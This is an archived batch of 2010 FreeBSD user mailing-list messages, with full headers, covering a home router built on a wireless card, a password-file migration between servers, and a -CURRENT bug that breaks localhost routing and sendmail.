AQHKwLvfOh1AEowgTkSG1hMXgwGFdA== Message-ID: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 01:41:10 -0000 I've got an old Linksys router hanging off of my cable modem that is severa= l years old and is about to die (very poor wireless throughput should be 54= mb and is 2, runs hot, and "buzzes" while turned on). I've got an older P= C that would great as a router....however I also need it to be a wireless a= ccess point for my house. It has a PCI wireless network card (A 54G Belkin= , not sure of the exact model). I know FreeBSD is technically capable for = acting as my DHCP, DNS, router, gateway box if properly configured. The qu= estion is, can it use that wireless card to act as a access point instead o= f a client (how the card is intended to be used)? Also, any links anyone can provide on how to setup a FreeBSD box to act as = home router/gateway would be much appreciated! From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 01:49:41 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C9EA11065673 for ; Thu, 11 Mar 2010 01:49:41 +0000 (UTC) (envelope-from oloringr@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 51FAF8FC17 for ; Thu, 11 Mar 2010 01:49:40 +0000 (UTC) Received: by fxm23 with SMTP id 23so7830917fxm.3 for ; Wed, 10 Mar 2010 17:49:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :user-agent:references:in-reply-to:x-face:mime-version:content-type :content-transfer-encoding:message-id; bh=q9yMlNJ6Zx2pF9YjAW4PulF6yReFGdPQSe5hdBVcs1w=; b=DnqFPCnoqsvrMNFiRCtGjmnPoUtrNXB+HGgUctNtWnUpJZc4iA2GN6EXKkBao99HR1 SYlGMTYaKuOadRzOzNjw1u8nlEB4UV0TdnDjceAmK4nGBO4H5MLxnzG9oxyKyS/b0PHW /QIY3gFaKYInn6/AwElU0JQU8YsEQZ1MNfSgs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:user-agent:references:in-reply-to:x-face :mime-version:content-type:content-transfer-encoding:message-id; b=ZPaFvtbb1gd44yVWcLbptGosQJSzum8904ekHcHJJnTlpyhPbgaL20qULUwhe0jc+B ea5DhcAMFcMjl4QPDHAYpwqVj0XAC3D0eKTXwUsKTmZWABEF2EZmGI0b4X5XkQiKc1vf 861xyS3Rn0azg5f/v6pn+505EwgQZ7ZhGxz3c= Received: by 10.223.5.211 with SMTP id 19mr2614795faw.63.1268272179977; Wed, 10 Mar 2010 17:49:39 -0800 (PST) Received: from media.localnet (77.49.142.144.dsl.dyn.forthnet.gr [77.49.142.144]) by mx.google.com with ESMTPS id k29sm3536968fkk.45.2010.03.10.17.49.39 (version=SSLv3 cipher=RC4-MD5); Wed, 10 Mar 2010 17:49:39 -0800 (PST) From: Ed Jobs To: freebsd-questions@freebsd.org Date: Thu, 11 Mar 2010 03:50:54 +0200 User-Agent: KMail/1.13.1 (Linux/2.6.32-ARCH; KDE/4.4.1; i686; ; ) References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> X-Face: %5EDs|At1pm>WE%P0}6)Hi*s, JH2J${69~j)R"Yu'^P9R3#fvi{LmpsCzxvX*38/, kxcUd QVrlS0G,}-ll{||\P]; *'Gz`RTG+dzconmNyDY3rJHBmpEJkFj|; %vZO&~T")='B<; 88~[ Cltx6#}N*E MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart3375702.HgxEei7DXP"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <201003110350.55226.oloringr@gmail.com> Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 01:49:41 -0000 --nextPart3375702.HgxEei7DXP Content-Type: Text/Plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable On Thursday 11 of March 2010 03:36, mailinglist wrote: > The question is, can it use that wireless card to > act as a access point instead of a client (how the card is intended to be > used)? you can run the hostapd daemon to configure a card as an access point. I di= d=20 this on an openbsd box, so i'm perfectly sure you can do it on a freebsd bo= x=20 too. =2D-=20 Real programmers don't document. If it was hard to write, it should be hard= to=20 understand. --nextPart3375702.HgxEei7DXP Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iEYEABECAAYFAkuYTH8ACgkQBPpdVEWKA30ECACghk9WEW7ocp5LpAdbXJgLPEam 3XYAn2RW06LquEa8FFoxoZlx3dM6rQZR =suhU -----END PGP SIGNATURE----- --nextPart3375702.HgxEei7DXP-- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:09:54 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 50A2F1065676 for ; Thu, 11 Mar 2010 02:09:54 +0000 (UTC) (envelope-from modulok@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 2B9BC8FC08 for ; Thu, 11 Mar 2010 02:09:53 +0000 (UTC) Received: by pwj1 with SMTP id 1so5108646pwj.13 for ; Wed, 10 Mar 2010 18:09:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=BFQ6R91NEp2QwSaS+MOJ8Qs9OMr6qYKEUBCAhfT7fDo=; b=F0qmCQdn+6QQObupBPpEMXvibm1r6FTl9pXjWH224rox4sfi6AcdUVfMBxt0mvps11 u9nSaiCEZsM7rJHym+jDQk79W+/s1Z2AzLSX+b6+5kKLCC1zem7+oCyLPvMzeT/VTQJF 76Gnq3jDj/fFMo0AXuYF1ADx2+em9bVHRe4Qo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=NhP5OgSFEs1NUqs1iBQV4sjav9XIN7731ikvISMpFMPng8iWLnZQZV/3rOGEvMaefx 5m8aKgPNJGsAKSil/zvLUdWsxv5vcjPtfHt+SSszsJ3TvoL+yJJ0Sdr6ES0NLbNYzU/u YYqPcDbTV05LJhLl2HAinRjO7NBL7S2NRvtx0= MIME-Version: 1.0 Received: by 10.142.65.22 with SMTP id n22mr1020560wfa.113.1268273392439; Wed, 10 Mar 2010 18:09:52 -0800 (PST) Date: Wed, 10 Mar 2010 19:09:52 -0700 Message-ID: <64c038661003101809s7467432buce6a548b3b0d5cf2@mail.gmail.com> From: Modulok To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: Moving master.passwd file between servers... is this correct? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:09:54 -0000 I need to migrate a passwd file from an old 6.2 server to a newer 8.0 server (different box). This is what I did: copied the '/etc/master.passwd' from old server to '/etc/master.passwd' on new server then ran: pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd It seems to work, but is this correct? I'd hate to miss somethign before it goes online. Thanks guys! -Modulok- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:23:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 946C6106566B for ; Thu, 11 Mar 2010 02:23:46 +0000 (UTC) (envelope-from mexas@bristol.ac.uk) Received: from dirg.bris.ac.uk (dirg.bris.ac.uk [137.222.10.102]) by mx1.freebsd.org (Postfix) with ESMTP id 547B98FC13 for ; Thu, 11 Mar 2010 02:23:46 +0000 (UTC) Received: from ncsc.bris.ac.uk ([137.222.10.41]) by dirg.bris.ac.uk with esmtp (Exim 4.69) (envelope-from ) id 1NpY3s-0001nI-UP for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 02:23:45 +0000 Received: from mech-cluster241.men.bris.ac.uk ([137.222.187.241]) by ncsc.bris.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.67) (envelope-from ) id 1NpY3s-0001nS-Pj for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 02:23:44 +0000 Received: from mech-cluster241.men.bris.ac.uk (localhost [127.0.0.1]) by mech-cluster241.men.bris.ac.uk (8.14.3/8.14.3) with ESMTP id o2B2NiTE067976 for ; Thu, 11 Mar 2010 02:23:44 GMT (envelope-from mexas@bristol.ac.uk) Received: (from mexas@localhost) by mech-cluster241.men.bris.ac.uk (8.14.4/8.14.3/Submit) id o2B2NiYu067975 for freebsd-questions@freebsd.org; Thu, 11 Mar 2010 02:23:44 GMT (envelope-from mexas@bristol.ac.uk) X-Authentication-Warning: mech-cluster241.men.bris.ac.uk: mexas set sender to mexas@bristol.ac.uk using -f Date: Thu, 11 Mar 2010 02:23:44 +0000 From: Anton Shterenlikht To: freebsd-questions@freebsd.org Message-ID: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Subject: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:23:46 -0000 I misconfigured my system somehow, so now I can't ping localhost: # ping localhost PING localhost (127.0.0.1): 56 data bytes ping: sendto: No route to host ping: sendto: No route to host ^C # cat /etc/hosts # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $ # ::1 localhost localhost.men.bris.ac.uk 127.0.0.1 localhost localhost.men.bris.ac.uk So far, can't find anything relevant on the net. Please advise many thanks anton -- Anton Shterenlikht Room 2.6, Queen's Building Mech Eng Dept Bristol University University Walk, Bristol BS8 1TR, UK Tel: +44 (0)117 331 5944 Fax: +44 (0)117 929 4423 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:30:22 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7DE03106566B for ; Thu, 11 Mar 2010 02:30:22 +0000 (UTC) (envelope-from rnodal@gmail.com) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id 175798FC15 for ; Thu, 11 Mar 2010 02:30:21 +0000 (UTC) Received: by qyk14 with SMTP id 14so4301107qyk.9 for ; Wed, 10 Mar 2010 18:30:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type :content-transfer-encoding; bh=Um5f05dQOGo+ovKhlsdKg4B81IiU+bXewfx4KE/dGdY=; b=grNxSbqF6LdqKYykKiRiJvn5jz0yS9Z6TD9LMXePBWoZg/z04EgCWQDZrs+vVVXGH9 zznZdc5jxoFJ6Ko+KaKu8XyW9s9SB1ppneYQVv9Lxw6UGCx0vALeinsl+RswHYi0H3ao LbRJmh15O4DvUiUbIMBNindIAAi46TZ874r6c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type:content-transfer-encoding; b=viFUdEbahPPPWSFmihBm/gDrjNDEmydIAuDzc3vu7toHjdL9RQuuTeuLj0fPEY3BtV oN8ML+kQmpi6MehzBwSik4O8PwRkaEpvrwQG9BWfepAVf7R766ktD13LZxEciq5CFcBq XMiZu8l++p2GMhHDzv6YPGK1QAlFrcxMW6SxU= MIME-Version: 1.0 Received: by 10.229.190.83 with SMTP id dh19mr1056579qcb.43.1268274621192; Wed, 10 Mar 2010 18:30:21 -0800 (PST) In-Reply-To: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> From: Roger Date: Wed, 10 Mar 2010 21:30:01 -0500 Message-ID: <9d972bed1003101830r1aa2066et96655a2726bcdf7b@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:30:22 -0000 On Wed, Mar 10, 2010 at 9:23 PM, Anton Shterenlikht w= rote: > I misconfigured my system somehow, > so now I can't ping localhost: > > # ping localhost > PING localhost (127.0.0.1): 56 data bytes > ping: sendto: No route to host > ping: sendto: No route to host > ^C > > # cat /etc/hosts > # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $ > # > ::1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.= ac.uk > 127.0.0.1 =A0 =A0 =A0 =A0 =A0 =A0 =A0 localhost localhost.men.bris.ac.uk > > So far, can't find anything relevant > on the net. > > Please advise > > many thanks > anton > > -- Just a shot in the dark. Do you have a default route? -r From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:34:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 800411065670 for ; Thu, 11 Mar 2010 02:34:09 +0000 (UTC) (envelope-from sfourman@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 579508FC0C for ; Thu, 11 Mar 2010 02:34:09 +0000 (UTC) Received: by pwj1 with SMTP id 1so5117273pwj.13 for ; Wed, 10 Mar 2010 18:34:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=cqlMz5TZTlQW0VR3UUlTYQuIIOrtEcxdFDaDevO1BXE=; b=XsjkJ4f5SJ/YIueHsYqA6UqWH+HuNtQNkT3Bo0YaCsTSqqmODRQIdrIhrr0nDWIs0h 26QZlxK4wX7pn3dMfroEZQHuPImqEqOwATvJyCMpUbQ4odZAw/9fqoYnD+k6XTxc2L6J DHtHGcexgHHWCua7a9kMGNm47xMHreV5QkOLY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=vi31NQk1sdRdnHBxZbJcGQ49G4YCTQJylAzaKKeHLHhy4AzlT6wvtMD8dsYS6iG8+8 FuDtXVNvKnwFTRxpf7YYX/y7WtXO+Tkv070Ofd2wf6GYjq8D6tz2D5+reey2VotFklH1 cHwcAGvK7W0/se683p4cx0GRV7graqGB3uLvc= MIME-Version: 1.0 Received: by 10.142.208.12 with SMTP id f12mr1036115wfg.128.1268274848780; Wed, 10 Mar 2010 18:34:08 -0800 (PST) In-Reply-To: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> Date: Wed, 10 Mar 2010 20:34:08 -0600 Message-ID: <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> From: "Sam Fourman Jr." To: Anton Shterenlikht Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:34:09 -0000 On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht wrote: > I misconfigured my system somehow, > so now I can't ping localhost: > > # ping localhost > PING localhost (127.0.0.1): 56 data bytes > ping: sendto: No route to host > ping: sendto: No route to host > ^C what is the output of uname -a ? I believe -current has a issue where you can not ping localhost atm Sam Fourman Jr. Fourman Networks From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:37:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3C7B81065672 for ; Thu, 11 Mar 2010 02:37:13 +0000 (UTC) (envelope-from rnodal@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.24]) by mx1.freebsd.org (Postfix) with ESMTP id EB33B8FC18 for ; Thu, 11 Mar 2010 02:37:12 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so604066qwi.7 for ; Wed, 10 Mar 2010 18:37:12 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=0QkxIvlIfPOomKb/ReKd5kERvyowbYhxeXY0/1rd+s8=; b=DlWsqyGCQKS2/cwnYF5swkSsvtgT6oN91JdkGxq998XuJmqlyMKe4sb3lzUdZSXiS+ /NSDTG+qq6skVs+pCSwGwqbCoMdVeTqwd++Io9cveLs4zbiNsoO92iwWzBr6TJm/+sxp r3ti5WHSyQ1A8U/f12t1Uw5fgqyaVWoAZd+fo= DomainKey-Signature: a=rsa-sha1; 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charset=us-ascii Content-Disposition: inline In-Reply-To: <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:47:38 -0000 On Wed, Mar 10, 2010 at 08:34:08PM -0600, Sam Fourman Jr. wrote: > On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht wrote: > > I misconfigured my system somehow, > > so now I can't ping localhost: > > > > # ping localhost > > PING localhost (127.0.0.1): 56 data bytes > > ping: sendto: No route to host > > ping: sendto: No route to host > > ^C > > what is the output of uname -a ? # uname -a FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2: Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF sparc64 > I believe -current has a issue where you can not ping localhost atm > all my machines are current, but some are more current than others.. Well, the ping issue is just an example. My real problem is that sendmail can't send anything locally: # tail /var/log/maillog Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0hbGe029358: to=mexas, ctladdr=mexas (1001/1001), delay=01:33:21, xdelay=00:00:00, mailer=relay, pri=570028, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4K005078: to=root, delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3721559, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4L005078: to=root, delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3725184, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4L004977: to=root, delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903061, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4K004977: to=root, delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903122, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3bvPl004242: to=root, ctladdr=root (0/0), delay=22:39:01, xdelay=00:00:00, mailer=relay, pri=4530195, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3c9wG004609: to=root, ctladdr=root (0/0), delay=22:38:49, xdelay=00:00:00, mailer=relay, pri=4533820, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A340iF002543: to=root, ctladdr=root (0/0), delay=23:12:58, xdelay=00:00:00, mailer=relay, pri=4711758, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A33vXB002495: to=root, ctladdr=root (0/0), delay=23:13:01, xdelay=00:00:00, mailer=relay, pri=4801697, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host # many thanks anton > > Sam Fourman Jr. > Fourman Networks -- Anton Shterenlikht Room 2.6, Queen's Building Mech Eng Dept Bristol University University Walk, Bristol BS8 1TR, UK Tel: +44 (0)117 331 5944 Fax: +44 (0)117 929 4423 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:58:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EE6211065672 for ; Thu, 11 Mar 2010 02:58:09 +0000 (UTC) (envelope-from rfarmer@predatorlabs.net) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id B52F58FC17 for ; Thu, 11 Mar 2010 02:58:09 +0000 (UTC) Received: by qyk14 with SMTP id 14so4324114qyk.9 for ; Wed, 10 Mar 2010 18:58:09 -0800 (PST) MIME-Version: 1.0 Received: by 10.224.59.96 with SMTP id k32mr489653qah.261.1268276288931; Wed, 10 Mar 2010 18:58:08 -0800 (PST) X-Originating-IP: [128.95.133.64] In-Reply-To: <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> Date: Wed, 10 Mar 2010 18:58:08 -0800 Message-ID: From: Rob Farmer To: "Sam Fourman Jr." Content-Type: text/plain; charset=ISO-8859-1 Cc: Anton Shterenlikht , freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:58:10 -0000 On Wed, Mar 10, 2010 at 6:34 PM, Sam Fourman Jr. wrote: > On Wed, Mar 10, 2010 at 8:23 PM, Anton Shterenlikht wrote: >> I misconfigured my system somehow, >> so now I can't ping localhost: >> >> # ping localhost >> PING localhost (127.0.0.1): 56 data bytes >> ping: sendto: No route to host >> ping: sendto: No route to host >> ^C > > what is the output of uname -a ? > > I believe -current has a issue where you can not ping localhost atm That's correct. Try the following patch: http://people.freebsd.org/~qingli/route.h.diff -- Rob Farmer > > > Sam Fourman Jr. > Fourman Networks > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 02:58:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2281F106566C for ; Thu, 11 Mar 2010 02:58:13 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id E7C068FC19 for ; Thu, 11 Mar 2010 02:58:12 +0000 (UTC) Received: by pwj1 with SMTP id 1so5125765pwj.13 for ; Wed, 10 Mar 2010 18:58:12 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; 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charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "Sam Fourman Jr." , freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 02:58:13 -0000 On Wed, Mar 10, 2010 at 8:47 PM, Anton Shterenlikht wrote: > # uname -a > FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2: > Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF > sparc64 > > > > I believe -current has a issue where you can not ping localhost atm > > > > all my machines are current, but some are more current than others.. > > Well, the ping issue is just an example. > My real problem is that sendmail can't send > anything locally: > > # tail /var/log/maillog > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: > to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, > mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: > [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0hbGe029358: > to=mexas, ctladdr=mexas (1001/1001), delay=01:33:21, xdelay=00:00:00, > mailer=relay, pri=570028, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: > [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4K005078: to=root, > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3721559, > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4L005078: to=root, > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3725184, > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4L004977: to=root, > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903061, > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4K004977: to=root, > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903122, > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3bvPl004242: to=root, > ctladdr=root (0/0), delay=22:39:01, xdelay=00:00:00, mailer=relay, > pri=4530195, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3c9wG004609: to=root, > ctladdr=root (0/0), delay=22:38:49, xdelay=00:00:00, mailer=relay, > pri=4533820, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A340iF002543: to=root, > ctladdr=root (0/0), delay=23:12:58, xdelay=00:00:00, mailer=relay, > pri=4711758, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > route to host > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A33vXB002495: to=root, > ctladdr=root (0/0), delay=23:13:01, xdelay=00:00:00, mailer=relay, > pri=4801697, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > route to host > # > > > many thanks > anton > > -- > Anton Shterenlikht > If you run CURRENT, you would do well to follow the mailing list. 